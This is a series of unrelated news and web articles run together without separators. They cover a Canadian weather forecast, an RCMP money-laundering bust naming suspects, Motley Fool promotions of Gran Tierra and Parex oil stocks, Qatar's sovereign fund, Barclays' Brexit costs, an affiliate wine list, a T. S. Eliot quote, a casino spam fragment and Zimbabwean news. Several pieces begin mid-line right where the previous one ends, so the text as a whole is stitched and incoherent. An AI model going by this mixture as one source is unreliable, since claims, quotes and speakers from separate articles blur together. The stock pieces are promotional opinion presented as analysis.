Still going to be very snowy across Quebec into New Brunswick, Anderson said. There could be over 30 cm of snow at least in the northern half of New Brunswick by the end of the day tomorrow.

Southern New Brunswick into Nova Scotia will see a mixture of rain, freezing rain and snow, with strong winds making their way through the area as well. But this moisture is expected to move away later in the day, with a dry weekend ahead.



Prairies

If moisture is less of a concern for you but cold weather makes you nervous, the Prairies is not where you want to be. According to Anderson, the cold air will be centered around this area for at least the next 10 days.

As we get into the weekend, looks like the cold eases a little bit but again, if youre looking for the coldest air across Canada, thats where its going to be, Anderson said. Looks like another surge of cold air is centered right over the Prairies for a good part of next week.

Temperatures, especially from Saskatchewan to Alberta, have been averaging over 10 C below normal, which will continue, but the area will remain mostly dry, with the exception of the Rockies.

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British Columbia

Higher elevation areas in B.C., including the Rockies, are expected to see some snow, but no major storms. There will still be some lingering snow in Vancouver but it will break as the moisture pushes south towards Oregon and California, according to Anderson.

But there is another storm on the horizon for the province, expected to hit southern B.C. on Thursday night and into Friday. At the moment, AccuWeather isnt expecting this to be a significant storm, but there will be some light accumulations.

I think its probably going to bea mixture of rain and snow [in Vancouver] for Thursday on to Friday, it will vary depending on how high you are in elevation, but were not calling for any accumulation at this point in Vancouver, Anderson said.The RCMP says it has cracked down on an elaborate international money-laundering network operated by organized-crime cells in Montreal and Toronto.

Police arrested 17 people in early morning raids in the two cities Monday, seizing more than $32.8 million in assets.

"It is by depriving criminal groups of their money-laundering networks that we will shake the very structure of organized crime,'' said RCMP Supt. Martine Fontaine Tuesday at a news conference.

The network had the capacity to launder millions of dollars, she said.

Dubbed Project Collecteur, the bust involved multiple police forces and the Canada Revenue Agency (CRA), the RCMP said in a statement Tuesday that offered some details of their investigation.

Fontaine called the investigation extremely complex and one of the most important of its kind in Canada  one of the rare money-laundering probes that has led to gangsterism charges.

Investigators had to narrow their focus to certain people and keep track of evidence, she said, in a bid to facilitate the prosecution process and not cause delays.

"It's thousands and thousands of documents to disclose and to caveat and to be prepared for full disclosure," Fontaine said.

The arrests were the result of a two-year investigation launched in the spring of 2016. Those targeted were allegedly collecting money from criminal organizations in Montreal and then moving that money through various individuals and currency exchange offices in Toronto.

Ryan Remiorz/The Canadian Press

International network

The group used an informal value transfer system with connections in Lebanon, the United Arab Emirates, Iran, the United States and China, the RCMP said. The funds were then returned to drug-exporting countries, such as Colombia and Mexico.

"This procedure allowed for the laundering of significant amounts of money originating from illegal activities, including drug trafficking. The criminal organizations could thus import drugs through this network," the RCMP said.

Story continues

That network has now been identified and dismantled, according to the Mounties.

Of the suspects arrested, 10 were in Quebec and seven were in Ontario. The suspects, aged 26 to 71, are facing charges that include conspiracy, possession of drugs for the purpose of trafficking and laundering proceeds of crime.

Radio-Canada

Three more suspects are still being sought by police. Police are still looking for:

Francisco Javier Jimenez Guerrero, 35, address unknown.

Victor Vargotskii, 56, of Montreal.

Frederick Rayman, 71, of Unionville, Ont.

The names of those arrested are:

Quebec cell

Mohamad Jaber, 51, Laval.

Kamel Ghaddar, 39, Laval.

Eric Bradette, 36, L'Assomption.

Sergio Violetta Galvez, 43, Laval.

Alexei Parasenco, 26, Montreal.

Mario Maratta, 64, Sainte-Sophie.

Sorin Ehrlich, 62, Montreal.

Gary Maybee, 57, Austin.

Ontario cell

Nader Gramian-Nik, 56, Vaughan.

Tania Geramian-Nik, 28, Vaughan.

Sahar Shojaei, 45, Thornhill.

Thomas Hsueh, 47, Thornhill.

Mohammadreza Sheikhhassani, 55, Richmond Hill.

Shabnam Mansouri, 38, Maple.

During the investigation and the searches, police seized drugs including cannabis, cocaine, hashish and methamphetamine, with a market value of close to $2.2 million, the RCMP said.

RCMP

Bank accounts and money in Canadian and foreign currencies were also seized, for a value of $8.7 million.

The CRA seized six properties valued at about $15 million, and the RCMP seized property estimated to be worth $7 million.

Clandestine swaps in parking lots

RCMP Sgt. Francois-Olivier Myette said there were two "major organizations" operating  one in Toronto and the other in Montreal.

He said the cash was moved in suitcases, duffel bags and car trunks.

The RCMP conducted surveillance operations, monitoring secret transactions in parking lots and elsewhere, capturing everything on video.

RCMP

The suspects sometimes didn't know each other, he said. They would identify each other during these transactions by using a predetermined token number  often a serial number on the cash.

The cash transactions involved between $500,000 and $1 million at a time. The suspects would pick up bags of cash in Toronto and then release an equivalent value, mainly in Dubai, he said.

"It's like if you take money from your left pocket and you exit it from your right pocket," Myette said. "That's the way it operates."

RCMP

50 CRA investigators

Stephane Bonin, director of criminal investigations for the CRA, said 50 CRA investigators were involved in the operation in both Montreal and Toronto.

"Tax evasion and the underground economy both in Canada and abroad are priorities of the Canada Revenue Agency, as well as other tax administrations around the world," he said.

"Results like those reported today are made possible thanks to our tight collaboration with national partners such as the RCMP, as well as international partners around the world."Arrowings ascending on a chalkboard

Canadian energy stocks have fallen into disfavour with investors after crude collapsed sharply toward the end of 2018 to see the North American benchmark West Texas Intermediate (WTI) plunge to under US$45 a barrel. This has provided an opportunity for investors to access outsized returns by investing in quality oil stocks with proven assets, low operating costs and a credible history of growth. One upstream oil producer that stands out for these reasons and more is Gran Tierra Energy Inc. (TSX:GTE)(NYSEMKT:GTE).

Growing oil reserves

The driller, which is ranked among the largest privately-owned oil producers in Colombia, recently reported that its end of 2018 proved plus probable oil reserves had grown by 14% year over year to 145 million barrels. This gives Gran Tierra a very impressive reserves replacement rate of 140% and underscores the quality of its oil acreage, high exploration success and ability to expand production.

Those reserves were independently determined to have an after-tax value of just over US$2 billion, which equates to $6.88 per share  more than double the current price of $2.93. This highlights the substantial upside available to risk tolerant investors willing to make a contrarian play on higher oil over the coming year.

Lower geopolitical risk

Aside from weaker oil, another factor weighing on Gran Tierras market price is that its core assets and operations are in the Latin American nation of Colombia. The Andean nations name over the decades has become synonymous with drug trafficking, leftist guerillas, kidnapping, paramilitaries, drug cartels and violence. That sees the market baking in a higher degree of risk for those companies operating in the nation that once sat on the precipice of becoming a failed state. Medellin, its second-largest city, was known in the 1980s as the murder capital of the world.

Nonetheless, the historic peace deal and subsequent demobilization of FARC, the largest belligerent guerilla group, along with a range of improved security measures has seen violence fall significantly over the last decade. And this, combined with a business-friendly government and Bogotas focus on enhancing security for Colombias oil fields as well as energy infrastructure indicates that much of the geopolitical risk attributed to the Andean nation is overblown.

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That means the heavy discount being applied to Gran Tierra because of the markets fears regarding security and other related geopolitical risks is unwarranted.

Rising production

Solid production growth positions Gran Tierra to fully benefit from higher crude and will boost earnings over coming months as oil moves higher. By early December 2018, the driller reported that oil production had reached a record high of 40,000 barrels daily and that for 2019 oil output would average 40,000 to 42,000 barrels daily which is a 12% to 18% increase over 2018.

The boost that such a notable increase in oil output will give to cash flow and earnings is enhanced by Gran Tierras low production expenses and ability to access Brent pricing. Currently, the international benchmark is trading at over US$9 a barrel higher than WTI. According to analysts, this wide price deferential will continue for the foreseeable future, giving Gran Tierra a handy financial advantage over those oil producers operating solely in North America.

If Brent averages US$65 a barrel during 2019, Gran Tierra expects to generate a netback of US$30 to US$35 per barrel produced and earn up to US$15 million in free cash flow after allowing for development and exploration spending. This will also allow it to maintain a strong balance sheet, with Gran Tierra intending to reduce net debt to below one-times operating cash flow. The strength of Gran Tierras balance sheet is illustrated by it finishing the third quarter 2018 with US$130 million in cash and US$399 million of long term, which is a very manageable 1.2 times 12-month trailing EBITDA.

Is it time to buy Gran Tierra?

Growing production, firmer Brent pricing and a robust balance sheet all point to Gran Tierra being an ideal levered play on higher oil. The fact that it is trading at a significant discount to the after-tax net present value of its reserves indicates that it is deeply undervalued by the market, further enhancing its investment appeal.

More reading

Fool contributor Matt Smith has no position in any of the stocks mentioned.

The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2019Many times you might have found the multiple casinos available in the online market but when you are going to...By Dmitry Zhdannikov, Herbert Lash and Saeed Azhar LONDON/NEW YORK/DUBAI (Reuters) - When news emerged that Qatar may have unwittingly helped bail out a New York skyscraper owned by the family of Jared Kushner, Donald Trump's son-in-law, eyebrows were raised in Doha. Kushner, a senior White House adviser, was a close ally of Saudi Crown Prince Mohammed bin Salman - a key architect of a regional boycott against Qatar, which Riyadh accuses of sponsoring terrorism. Doha denies the charge. Brookfield, a global property investor in which the Qatari government has placed investments, struck a deal last year that rescued the Kushner Companies' 666 Fifth Avenue tower in Manhattan from financial straits. The bailout, in which Doha played no part and first learned about in the media, has prompted a rethink of how the gas-rich kingdom invests money abroad via its giant sovereign wealth fund, two sources with knowledge of the matter told Reuters. The country has decided that the Qatar Investment Authority (QIA) will aim to avoid putting money in funds or other investment vehicles it does not have full control over, according to the sources, who are familiar with the QIA's strategy. "Qatar started looking into how its name got involved into the deal and found out it was because of a fund it co-owned," said one of the sources. "So QIA ultimately triggered a strategy revamp." A QIA spokesman said: "QIA had absolutely no involvement in the 666 Fifth Avenue development and the claims about QIA's investment strategy are not true. There has been no change in investment strategy with regards to taking majority control." The QIA did not address other detailed questions from Reuters including about its future investments via funds and any desire to have more control over those money flows. Canada's Brookfield Asset Management Inc bailed out 666 Fifth Avenue via its real estate unit Brookfield Property Partners, in which the QIA acquired a 9 percent stake five years ago. Both parent and unit declined to comment. The QIA's strategic shift was made late last year, according to the sources. It offers a rare insight into the thinking of one of the world's most secretive sovereign wealth funds. The revamp could have significant implications for the global investment scene because the QIA is one of the world's largest state investors, with more than $320 billion under management. The wealth fund has poured money into the West over the past decade, including rescuing British and Swiss banks during the 2008 financial crisis and investing in landmarks like New York's Plaza Hotel and the Savoy Hotel and Harrods store in London. QATARI BOYCOTT Kushner was chief executive of Kushner Companies when it acquired 666 Fifth Avenue in 2007 for $1.8 billion, a record at the time for a Manhattan office building. It has been a drag on his family's real estate company ever since. The debt-laden skyscraper was bailed out by Brookfield last August, when it took a 99-year lease on the property, paying the rent for 99 years upfront. Financial terms were not disclosed. The QIA bought a 9 percent stake in Brookfield Property Partners, which is known as BPY and is listed in Toronto and New York, for $1.8 billion in 2014. BPY has about $87 billion in assets, part of more than $330 billion managed by its parent Brookfield. The stake purchase by QIA was in line with its strategy to boost investments in prime U.S. property. The investment gave QIA no seat on the board of BPY. The Qatari wealth fund was not involved in the 666 Fifth Avenue deal, a source close to Brookfield Asset Management told Reuters. There was no requirement for Brookfield to inform the QIA beforehand. The rescue rankled with Doha, according to the two sources familiar with the QIA's strategy, because Kushner - married to U.S. President Trump's daughter Ivanka - had long been one of the key supporters in Washington of the Saudi crown prince, who is the king's favorite son and heir to the throne. Prince Mohammed was a prime mover in leading regional states to severing links with its neighbor Qatar and embargoing the small nation since mid-2017. Saudi Arabia, the United Arab Emirates, Egypt and Bahrain accuse Qatar of sponsoring terrorism. Doha denies the allegation and says the other countries simply want to strip it of its sovereignty. "There is no upside in investing through funds for someone like QIA. Qatar wants full visibility into where its money goes," said the second source familiar with the QIA's strategy. He added that one of the reasons for Doha's concerns about the deal was that it might have been seen as an attempt by Qatar to influence the Trump administration, which was not the case. The QIA will not wind down existing investments with Brookfield or others, but will rather no longer invest in similar deals, according to the two sources. The source close to Brookfield said relations with the QIA were still strong. STILL GOING BIG The QIA's strategic revamp also followed a reshuffle at the top of the fund last November when its long-serving chief, Sheikh Abdullah bin Mohamed bin Saud al-Thani, was replaced by its former head of risk management, Mansour Ibrahim al-Mahmoud. Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani was named QIA chairman. Qatar, whose wealth comes from the world's largest exports of liquefied gas, does not provide data on how much money it places with external fund managers. "What we have seen lately is that it has have not been placing much," said a Western fund manager who regularly sources money from wealth funds. "Either they are investing themselves or they are just sitting on a lot of cash." The Qatar shift in its approach reflects a wider trend among sovereign wealth funds to reduce reliance on external investment managers, in an attempt to keep tighter control over their money. The Abu Dhabi Investment Authority, for example, said last year that 55 percent of its assets were managed by external managers in 2017, down from 60 percent the year before. Yet, even if the QIA is being more cautious in its choice of investment vehicles, there is little indication that its appetite for big international acquisitions has diminished. In December, new QIA chief Mahmoud told Reuters the fund was focusing on "classic" investments in the West such as real estate and financial institutions, and would also accelerate investment in technology and healthcare. "The instructions from the top are to go out and do big deals," said a Western banker who has held talks with Qatari officials. He said QIA's dealmaking had not stopped even during the height of the Gulf embargo, which initially forced the fund to put in about half of the $43 billion injected by public-sector firms into Qatari banks to mitigate the impact of outflows. With oil and gas prices growing over the past two years, Qatar has not departed from what it is best known for - snapping up big-name properties. In 2017, QIA pledged to ramp up its investments in Britain to 35 billion pounds ($45 billion) from 30 billion. Since then, it has spent about 1.7 billion pounds on real estate and another 1.1 billion on infrastructure in the country. In recent months, Qatar has bought New York's Plaza and London's Grosvenor House hotels. ($1 = 0.7724 pounds) (Additional reporting by Eric Knecht; Writing by Dmitry Zhdannikov; Editing by Pravin Char)Oil pipes in an oil field

The latest oil price collapse, which began in October 2018, has sparked considerable pessimism over the outlook for crude and weighed heavily on energy stocks. While many upstream oil producers focused solely on Canada have been marked down by the market because of the poor outlook for crude, Parex (TSX:PXT) has soared by 16% for the year to date with signs of further upside ahead.

Quality assets

Parexs operations are focused on Colombia, where it has amassed 2.2 million gross acres, holding 22 blocks in the Llanos and Magdalena basins. During 2018, it embarked on a strategic review aimed at realizing greater value for investors, and this included considering whether it was better to sell its developed oil-producing assets and become a pure oil-exploration company.

At the end of that process, management concluded that Parexs value wasnt being recognized by the market, and the company would embark on a share buyback, targeting the purchase of 10% of its outstanding float. It was also decided not to sell the developed oil-producing assets because an acceptable offer hadnt been received. In the current difficult operating environment, it is unlikely that one would be forthcoming.

That appraisal also outlined the drillers strengths, including its growing oil reserves and production, rock-solid balance sheet, quality assets, and strong cash flow, which all underscore its considerable appeal as a play on higher oil.

Oil reserves are growing

Parex recently announced that its oil reserves had increased by 14% year over year by the end of 2018 to almost 185 million barrels. Those reserves are 97% weighted to oil, meaning that Parex is not exposed to the poor outlook for natural gas.

The companys oil reserves have been independently determined to have an after-tax net present value of $32.07 per share based on Brent averaging US$63.50 per barrel over the course of 2019. This is 69% higher than Parexs price of $19 a share, highlighting the substantial upside available, particularly with analysts tipping that Brent will average between US$65 and $70 a barrel during 2019 because of growing supply restrictions, including the crisis in Venezuela, OPEC production cuts, and Trumps plans to further limit Irans oil exports.

Story continues

Robust balance sheet

Key to Parexs success, especially in the current operating environment, has been its judicious use of debt. Unlike many of its North American peers, which, at the height of the last oil boom, loaded up on debt to fund acquisitions and expand their operations Parex maintained a clean balance sheet. By the end of the third quarter 2018, Parex had cash of US$361 million. By the end of December 2018, its strategic report showed no long-term debt, an undrawn credit facility totaling US$200 million, and forecast positive working capital of US$200 million.

Clearly, that endows the driller with considerable operational flexibility, which is enhanced by Parexs ability to generate substantial free cash flow, despite oils ongoing slump.

Growing production, high netbacks, and solid cash flow

For the third quarter 2018, Parex reported free cash flow of almost US$38 million, where Brent averaged US$75.84 per barrel. It is Parexs ability to access international Brent pricing which gives it a financial advantage over its peers operating solely in North America.

You see, Brent is trading at a US$9-a-barrel premium to the North American benchmark West Texas Intermediate (WTI), giving Parex a handy financial advantage over Canadian drillers, which can only access North American pricing. This is a crucial reason why Parex has been reporting industry-leading netbacks, which are a key measure of operational profitability.

For the third quarter, Parex reported an operating netback of US$44.41 per barrel with Brent averaging US$75.84 during the quarter. A focus on controlling expenses, which saw production and transportation costs for the quarter fall by 2% and 32%, respectively, is also supporting Parexs significant profitability.

Parex has forecast that during 2019 it will produce 52,000-54,000 barrels daily, which, at the upper end of that estimate, is 22% greater than its 2018 oil output. If Brent averages US$60 during 2019, it will generate a netback of US$32-34 per barrel, which, when combined with such impressive production growth, should see Parex generate free cash flow of around U$260 million after allowing for capital spending.

Why buy Parex?

High-quality oil assets, the ability to access premium Brent pricing, low operating expenses, industry-leading netbacks, strong production, as well as reserves growth highlight why Parex is an attractive investment. Robust 2019 free cash flow estimates, a rock-solid balance sheet, and managements focus on unlocking value for investors further magnifies the drillers considerable appeal, making it a must-own stock to play higher oil.

More reading

Fool contributor Matt Smith has no position in any of the stocks mentioned.

The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2019Barclays Bank chairman Sir Gerry Grimstone speaking in Dublin on Wednesday. Pic: Reuters

Barclays (BARC.L) has spent between 100m and 200m ($257m) preparing for Brexit, the chairman of its UK bank, Sir Gerry Grimstone, said on Wednesday in Dublin.

The expanded Dublin unit of Barclays, which is set to become its European headquarters, is expected to absorb around 224bn of its total 1.17tn in assets by 30 March.

Bank of America (BAC), which has also chosen Dublin for its main post-Brexit EU hub, said in November that it had spent around $400m (309m) on its Brexit restructuring efforts.

Also speaking in Dublin on Wednesday, Bank of America vice-chairman Ann Finucane said that, considering that many financial institutions were spending similar amounts on Brexit preparations, it adds up.

I hate to say that were more cost effective than [Bank of America], Grimstone said. Weve certainly spent 100m, 150m, 200m  but yes weve spent less than them.

Barclays last month got the green light for the transfer of more than 150bn in assets to Dublin, after the London High Court said the bank could not wait any longer to implement its Brexit contingency plans.

READ MORE: Barclays cannot wait any longer for its 166bn Dublin move

Around 6,800 Barclays clients, mainly from the European Economic Area, will be transferred to Dublin by 30 March, when the bank expects to be fully operational there.

Speaking about the Irish regulatory authorities, Grimstone said that the process over the last two years has been as smooth as we possibly could have wanted it to be.

Were impressed with the nature and scale of regulation. Its a new adventure for us  being regulated by the Irish Central Bank and through them, the ECB, he said.

He noted that Barclays had not been dragged kicking and screaming to Ireland. When youre faced with regulatory or political change, you have to do things which you perhaps wouldnt do otherwise, he said.

So we used the opportunity to create a major new European continental bank, which will centre on Dublin.

Story continues

Grimstone warned, however, about the impact of Brexit on conditions in London.

The United Kingdom has gone from being one of the most predictable environments in which to operate to one of the least predictable.

Theres got to be a very high priority in restoring that predictability, he said. The challenge we all have is that nobody knows what is going to happen over the next few weeks.

Both Grimstone and Finucane were speaking at the European Financial Forum, which was organised by the Financial Times and IDA Ireland.10 Great Wines for Valentines Day Under $50

No Need to Go Broke for a Good Bottle of V-Day Wine

The AskMen editorial team thoroughly researches & reviews the best gear, services and staples for life. AskMen may get paid if you click a link in this article and buy a product or service.

If you are spending the evening at home on Valentines Day, youll probably want to open a nice bottle of wine and make a night of it. For those of us who dont feel like we know a ton about wine, though, its hard to find a compromise between those super expensive bottles and a value that will also be worthy of the occasion.

RELATED: 15 Ways to Treat Yo'self on Valentine's Day

These bottles though are pretty inexpensive, each under $50, but taste like they cost far more. At values like these, you may even want to go for a second bottle as the night goes on.

The Federalist Bourbon Barrel-Aged Red Blend 2016

This wine is uniquely American, in that the red blend is aged in charred bourbon barrels. Its sourced from Mendocino County, California, and is a mix of bright fruit with vanilla and rich smoky caramel, with the barrels giving it a uniquely full-bodied flavor.

$20 at Drizly.com

Ovum 2016 Since I Fell for You Gewurztraminer

If you are craving a drinkable, light wine to sip throughout the night this Valentines Day, this wine is made from grapes from Gerber Vineyard's 40-year-old vines. It is a dry, aromatic full-bodied wine that is crisp with notes of lychee fruit and bright acidity, perfect for pairing with that aphrodisiac-laden meal of oysters and strawberries you have planned (better get started on that by the way!). It also has a nice finish.

$23 at JJBuckley.com

Hampton Water Rose

While we dont want our dates to be fantasizing about Bon Jovi joining them in a Bed of Roses (get it?), this wine is a mighty fine alternative. Jon Bon Jovi and Jesse Bongiovi's Hampton Water Rose is not just a celebrity wine, it has been recognized as one of the top five roses in the world, and is fresh and crisp without falling into the trap of being overly sweet like many roses do. It features Grenache, Cinsault, Syrah, and Mourvedre grape varieties, giving it a romantic French Mediterranean feel that is perfect for the occasion.

From $18 at Drizly.com

RELATED: 10 Kinky Valentines Day Ideas Youll Both Enjoy

Achaval-Ferrer Malbec

February is a cold month in many parts of the world, and if you are looking to cozy up with a great glass (or, bottle, lets be real) of red wine, consider Achaval-Ferrers Malbec. This wine is like an internal hug, with its ruby-red color and velvety smooth blackberry, raspberry, and violet flavors. This winery, based in Argentina, makes some of the best terroir-driven red wines including some amazing Malbecs from Mendoza, sourced from single vineyards with low-yielding, century-old ungrafted vines.

From $14 at Drizly.com

Blendtique Custom Blended Wine

Your love is unique, right? So shouldnt your wine be as well? Maybe your partner loathes chardonnay but loves a great syrah. Whatever it is either of you love, show you pay attention and create a blend perfect for and unique to both of you.

$30 at Blendtique.com

2013 Villa Antinori Chianti Classico Riserva

For lovers of all things Italian, theres nothing quite like a great Chianti. The Villa Antinori Chianti Classico Riserva starts with aromas of red fruit and notes of balsamic and spice. This is a beautifully balanced full-bodied red wine with light acidity that is 90 percent Sangiovese and 10 percent merlot, with dark fruit and succulent spice at the back. This will pair amazingly well with surf and turf or just a cozy night by the fire.

$40 at Zachys.com

Erath 2016 Oregon Pinot Noir

Pinot Noir is a classic, and this Oregon wine is a reliably great one. It is fruit forward and super drinkable with notes of loganberry, bing cherry, caramel and sandalwood. This is smooth and succulent, just like your date night moves, we hope.

$14 at TotalWine.com

RELATED: Valentine's Day Myths Revealed

Tussock Jumper Shiraz-Grenache-Viognier

This blend is a standout choice and a great value. There are flavors of dark berries, peach jam, and violets, making it soft and yet also luxurious, with a spicy, earthy dimension. This will be a perfect dessert wine (or, um nightcap).

$11 at Drizly.com

2015 1865 Malbec

Chilean wine is often the best value there is, and if you going to go for wines from Chile, you cant go wrong with a hearty malbec. 1865s malbec may actually be the best wine to impress a date without breaking the bank. It has an intense bouquet of floral notes like violet and black fruits, but also a delicious added hint of chocolate. Its a pretty intense wine, but its also a pretty intense night, right?

$18 at Wine.com

Domaine Carneros Cuvee de la Pompadour Brut Rose

This fabulous rose is named for Madame de la Pompadour, Louis XV's great love. For those not as obsessed with all things royals, this woman is special because she is credited with introducing Champagne to the court. Shes also been made famous for her quote, "Champagne is the only wine a woman can drink and remain beautiful." We are inclined to agree, for both sexes: The more we drink, the more beautiful everything seems to feel. This wine is a blend of 58 percent pinot noir and 42 percent chardonnay and perfect for drinking the evening away.

$37 at Wine.com

Whether you opt for a white, red, or a blushy rose, you shouldnt have to break the bank to enjoy some delicious wines  alone or otherwise.

You Might Also Dig:

AskMen may get paid if you click a link in this article and buy a product or service. To find out more, please read our complete terms of use.- T. S. Eliot

Thoughts After Lambeth

"The World is trying the experiment of attempting to form a civilized but non-Christian mentality. The experiment will fail; but we must be very patient in awaiting its collapse; meanwhile redeeming the time: so that the Faith may be preserved alive through the dark ages before us; to renew and rebuild civilization, and save the World from suicide."News / National

by Cite.org

Bulawayo Rainbow Hotel has lamented the lack of qualified personnel to take up employment at the hotel during its massive renovation project.The hotel has closed its doors to the public as it undergoes a major facelift.The Rainbow Tourism Group (RTG) subsidiary was last mired in controversy after the Mthwakazi Republic Party (MRP) accused the hotel management of recruiting labour from Harare at the expense of locals.However, the hotel has since dismissed the allegations.On Tuesday, the hotel embarked on a recruitment exercise to hire skilled personnel to work during the renovation period.The hotel general manager Innocent Kufa expressed disappointment at the scarcity of skilled personnel from those who had turned up."There were almost 70 people who came and applied this morning. Out of these, only one person had a plumbing qualification and only three were qualified tilers. The Hotel wanted seventy tilers," said Kufa.He said even at the contracting level, there were no companies who had the required expertise."There is no single contractor in Bulawayo who has done a three storey building over the past 20 years. We looked but couldn't find one.""We ended up giving the tender to a Bulawayo based person who owns Creative Concepts who then subcontracted other companies. We agreed with the contractor that we will buy raw materials from South Africa. However, materials that were available locally were purchased here in Bulawayo.""For example for tiling, we hired Bath and Tiles, a company from Bulawayo," explained Kufa.He said all the companies involved were recommended by Creative Concepts because it was the main contractor.Kufa said for waterproofing, they had to contract a Harare based company as there was no company in Bulawayo that had the required expertise."For waterproofing, we gave the tender to a Khumalo who is based in Harare because there was no-one in Bulawayo recommendable to do the job."He said the company doing plumbing is a South African one which has an agency in Harare."For plumbing, the South African company had their agency in Harare so they told us to engage with their Harare offices.""This is the same company that is hiring these people. They took thirteen local artisans."He said they brought in their own seven core team members from Harare, whom he said people alleged were bused."No-one was bused from Harare. These seven people came by Extra City, there were only seven, no-one was bused," said Kufa.He further highlighted those local contractors who bidded for the project charged unreasonable prices compared to their counterparts in Harare."For this particular project we engaged local contractors but some had unreasonable charges. A Harare company charged us $240 000 whilst a Bulawayo one charged USD $1,4 million. The Bulawayo person was operating from his house and had no capacity to do the job," explained Kufa.He said they had Bulawayo at heart and when employing, his first preference would be a resident from Bulawayo.On recruitment, Kufa said 20 people who submitted their CVs today will commence work tomorrow."Today (Tuesday) we are taking twenty people to start tomorrow. As we move on, because there would be more work, we will take an additional twenty to thirty people. As we go towards cleaning, we will take some more people,"News / National

by NewZimbabwe.com

Unwell Zimbabwean Vice President Constantino Chiwenga has reportedly been flown out for treatment in India as health fears around the country's second in charge continue to mount.The VP, who once revealed battling skin cancer, was last Thursday rushed to a South African hospital in Cape Town amid claims he was in "terrible shape".His decision to seek treatment from outside caused an uproar in the country with South African based Zimbabweans last week picketing Cape Town's Groote Schuur Hospital where he was said to be receiving treatment.Sources say government has hired a private jet to fly the one time military commander who in 2017 threw out his then boss, President Robert Mugabe to pave way for the now President Emmerson Mnangagwa and himself at the apex of government."Government had to hire a private jet from Dubai and this time in order to avoid detection. Chiwenga was picked up at Manyame Airbase at 9pm yesterday (Thursday)," sources told NewZimbabwe.com Friday.Presidential spokesperson George Charamba could not be reached to confirm the latest development while Information Deputy Minister Energy Mutodi said the matter was beyond his purview."It's not within our purview. Get in touch with Charamba," said Mutodi.Last October, Chiwenga also sought treatment in Johannesburg with claims by Charamba this was linked to injuries sustained during the June 2018 explosion at an election campaign rally by Mnangagwa and his Zanu-PF leadership in Bulawayo. Two security aides were killed in the blast.The 61-year-old ambitious politician has shown visible signs of illness and irritation at public gatherings recently.He appeared on state media this week vehemently denying claims of ailment while blasting social media gloating over his failing health.The no-nonsense top government official's decision to seek treatment outside the country has angered locals who feel hard done by his controversial handling of the country's health crisis.April last year, Chiwenga fired some 15 000 striking public hospital nurses who had ignored orders to return to work over government's failure to meet their wage demands.News / National

by Staff reporter

The Matabeleland North government offices are finally expected to move to the provincial capital of Lupane by August this year.The offices are currently located at Mhlahlandlela Complex in Bulawayo in what has been described as having a negative impact on the development of the province as the decision makers will be far away from the community they serve.Speaking on the sidelines of a tour of various government projects in Lupane district, the Minister of State for Matabeleland North province Richard Moyo revealed that the time had come for all operations to move to the provincial capital.He noted that the tour of facilities was meant to determine the progress as the failure to finish these projects had hindered the intended move.Sites visited included a water reservoir that is expected to address the water challenges currently experienced in the area which at completion is expected to be able to supply the precious liquid for five continuous days even during a power cut.Other visited sites included the official residence for the provincial minister of state that is set for completion in three months time, the civil servants houses where 19 of them are at various stages of construction with a target of a June completion.The provincial hospital which has been lying incomplete for the last decade was also visited where it was noted that treasury had been releasing funds every year although no disbursement was taking place.The government complex is now at its final stages of construction with works mainly now on electrifying the buildings while a water works plant is also being constructed.News / National

by Staff reporter

The Registrar-General's Office is set to open passport offices in Chitungwiza and Murehwa districts to deal with the large number of people flocking to Harare to apply for travel documents, legislators heard on Monday.The office said it had reduced the number of passports that it was producing owing to the shortage of foreign currency required to procure consumables such as ink.This was said by Registrar-General Mr Clement Masango while giving oral evidence before Parliament's Portfolio Committee on Defence and Home Affairs chaired by Umzingwane MP Levi Mayihlome (Zanu-PF). He said the decision to open passport offices in Chitungwiza and Murehwa was strategic to ease congestion in the capital."We have reached an agreement with the local authority," he said."Why Chitungwiza? In terms of population size it comes after Bulawayo. That is why the central office in Harare is literally clogged."We also intend to set up an office in Murehwa. We have identified Murehwa as a quick win. It can address issues of accessibility from people in Mutoko and other areas."Mr Masango said the provincial capital of Mashonaland East province was Marondera which posed a nightmare for people in places like Mutoko and Mudzi districts in terms of accessibilty. He said they were also planning to open an office at Murambinda Growth Point since the one at Buhera, was no longer adequate for the purpose."Many Government offices and service centres are at Murambinda, so for us to remain at Buhera district office means we are no longer responding to the needs of the people," said Mr Masango.Mr Masango said they were now processing applications submitted in July last year. He said if his office was to operate at full throttle and process all the required passports per day, they would run out of consumables owing to resource constraints."We queue for foreign currency just like anybody else," he said."We are being supported, but not to the extent that we would have wanted."The parliamentary committee expressed concern over the large number of people without national documents such as birth certificates. Mr Masango said it was the duty and responsibility of everyone, including legislators, to raise awareness on the need to have such documents.He said most people were aware of the need to have the documents, but were not treating the issue with the urgency it deserved. Mr Masango said it was equally sad that most people in rural areas were not acquiring death certificates for their relatives.News / National

by Staff reporter

A FIRST Bank cashier stationed in Harare yesterday appeared in court facing fraud and money-laundering charges involving $1 million.Bangiso Shield Tafirei (30) appeared before Harare magistrate Rumbidzai Mugwagwa, who remanded him out of custody on $1 000 bail.As part of his bail conditions, Tafirei was ordered to surrender his passport, continue residing at his current address, report twice a week to the police and not interfere with witnesses.The complainant is First Capital Bank (Pvt) Ltd represented by Eithwell Mhlanga, the forensic audit manager.The accused person was employed by the bank's non-governmental organisation (NGO) branch as a cashier and was allocated user number 29.It is the State's case that the NGO branch is a special cash-out point for NGOs, which pay their employees for goods and services in foreign currency mainly in United States dollars.The State says it allows withdrawals in US dollars by approved foreign currency accounts (FCA) holders, who would have deposited or received hard currency through the bank.It is alleged that between August 1 and December 31 last year, Tafirei hatched a plan to defraud his employer and approached various account holders who transferred various amounts through the ZIPIT money transfer facility into First Capital Bank accounts.After the money was deposited in First Capital bank accounts, Tafirei would misrepresent that the accounts were FCA entitled to withdraw US dollars.Tafirei would allegedly withdraw the US dollars and prejudiced First Capital Bank of $455 680 in the process.The State further alleges that during the same period, Tafirei received.$621 289 through Steward and CABS bank accounts.He allegedly transferred various amounts into First Capital Bank accounts before withdrawing US dollars at the bank's NGO branch.The accused person would then give his brother Pedita Chimboko the US dollars to trade on the parallel market.Chimboko would then return proceeds of the parallel market trade to Tafirei.The alleged offence came to light when the bank did a reconciliation which showed that the amount deposited for NGO purposes surpassed the amounts which were being 